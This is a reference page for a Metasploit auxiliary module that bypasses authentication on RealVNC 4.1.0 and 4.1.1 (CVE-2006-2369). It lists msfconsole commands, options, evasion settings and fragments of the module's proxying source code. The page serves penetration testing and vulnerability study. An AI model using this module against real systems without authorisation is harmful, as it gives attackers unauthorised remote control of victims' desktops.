RealVNC NULL Authentication Mode Bypass - Metasploit


This page contains detailed information about how to use the auxiliary/admin/vnc/realvnc_41_bypass metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: RealVNC NULL Authentication Mode Bypass
Module: auxiliary/admin/vnc/realvnc_41_bypass
Source code: modules/auxiliary/admin/vnc/realvnc_41_bypass.rb
Disclosure date: 2006-05-15
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 5900
List of CVEs: CVE-2006-2369

This module exploits an Authentication bypass Vulnerability in RealVNC Server version 4.1.0 and 4.1.1. It sets up a proxy listener on LPORT and proxies to the target server The AUTOVNC option requires that vncviewer be installed on the attacking machine.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/admin/vnc/realvnc_41_bypass
msf auxiliary(realvnc_41_bypass) > show targets
    ... a list of targets ...
msf auxiliary(realvnc_41_bypass) > set TARGET target-id
msf auxiliary(realvnc_41_bypass) > show options
    ... show and set options ...
msf auxiliary(realvnc_41_bypass) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the admin/vnc/realvnc_41_bypass auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/vnc/realvnc_41_bypass

msf6 auxiliary(admin/vnc/realvnc_41_bypass) > show info

       Name: RealVNC NULL Authentication Mode Bypass
     Module: auxiliary/admin/vnc/realvnc_41_bypass
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2006-05-15

Provided by:
  hdm <[email protected]>
  theLightCosine <[email protected]>

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  AUTOVNC  false            yes       Automatically launch vncviewer from this host
  LPORT    5900             yes       The port the local VNC Proxy should listen on
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    5900             yes       The port the target VNC Server is listening on (TCP)

Description:
  This module exploits an Authentication bypass Vulnerability in 
  RealVNC Server version 4.1.0 and 4.1.1. It sets up a proxy listener 
  on LPORT and proxies to the target server The AUTOVNC option 
  requires that vncviewer be installed on the attacking machine.

References:
  http://www.securityfocus.com/bid/17978
  OSVDB (25479)
  http://secunia.com/advisories/20107/
  https://nvd.nist.gov/vuln/detail/CVE-2006-2369

Module Options

This is a complete list of options available in the admin/vnc/realvnc_41_bypass auxiliary module:

msf6 auxiliary(admin/vnc/realvnc_41_bypass) > show options

Module options (auxiliary/admin/vnc/realvnc_41_bypass):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   AUTOVNC  false            yes       Automatically launch vncviewer from this host
   LPORT    5900             yes       The port the local VNC Proxy should listen on
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    5900             yes       The port the target VNC Server is listening on (TCP)

Advanced Options

Here is a complete list of advanced options supported by the admin/vnc/realvnc_41_bypass auxiliary module:

msf6 auxiliary(admin/vnc/realvnc_41_bypass) > show advanced

Module advanced options (auxiliary/admin/vnc/realvnc_41_bypass):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/vnc/realvnc_41_bypass module can do:

msf6 auxiliary(admin/vnc/realvnc_41_bypass) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the admin/vnc/realvnc_41_bypass auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/vnc/realvnc_41_bypass) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The vncviewer does not appear to be installed, exiting...

Here is a relevant code snippet related to the "The vncviewer does not appear to be installed, exiting..." error message:

51:	
52:	    # If the autovnc option is set to true this will spawn a vncviewer on the lcoal machine
53:	    # targetting the proxy listener.
54:	    if (datastore['AUTOVNC'])
55:	      unless (check_vncviewer())
56:	        print_error("The vncviewer does not appear to be installed, exiting...")
57:	        return nil
58:	      end
59:	      print_status("Spawning viewer thread...")
60:	      view = framework.threads.spawn("VncViewerWrapper", false) {
61:	          system("vncviewer 127.0.0.1::#{datastore['LPORT']}")

The server is not vulnerable

Here is a relevant code snippet related to the "The server is not vulnerable" error message:

71:	
72:	    s = connect
73:	
74:	    serverhello = s.get_once
75:	    unless serverhello.include? "RFB 003.008"
76:	      print_error("The server is not vulnerable")
77:	      return
78:	    end
79:	
80:	    # MitM attack on the VNC Authentication Process
81:	    client.puts(serverhello)

Client closed connection

Here is a relevant code snippet related to the "Client closed connection" error message:

103:	
104:	        if selected[0].include?(client)
105:	          begin
106:	            data = client.get_once
107:	            if data.nil?
108:	              print_error("Client closed connection")
109:	              closed = true
110:	            else
111:	              s.put(data)
112:	            end
113:	          rescue

Client closed connection

Here is a relevant code snippet related to the "Client closed connection" error message:

109:	              closed = true
110:	            else
111:	              s.put(data)
112:	            end
113:	          rescue
114:	            print_error("Client closed connection")
115:	            closed = true
116:	          end
117:	        end
118:	
119:	        if selected[0].include?(s)

Server closed connection

Here is a relevant code snippet related to the "Server closed connection" error message:

118:	
119:	        if selected[0].include?(s)
120:	          begin
121:	            data = s.get_once
122:	            if data.nil?
123:	              print_error("Server closed connection")
124:	              closed = true
125:	            else
126:	              client.put(data)
127:	            end
128:	          rescue

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References

See Also

Check also the following modules related to this module:

Authors

  • hdm
  • theLightCosine

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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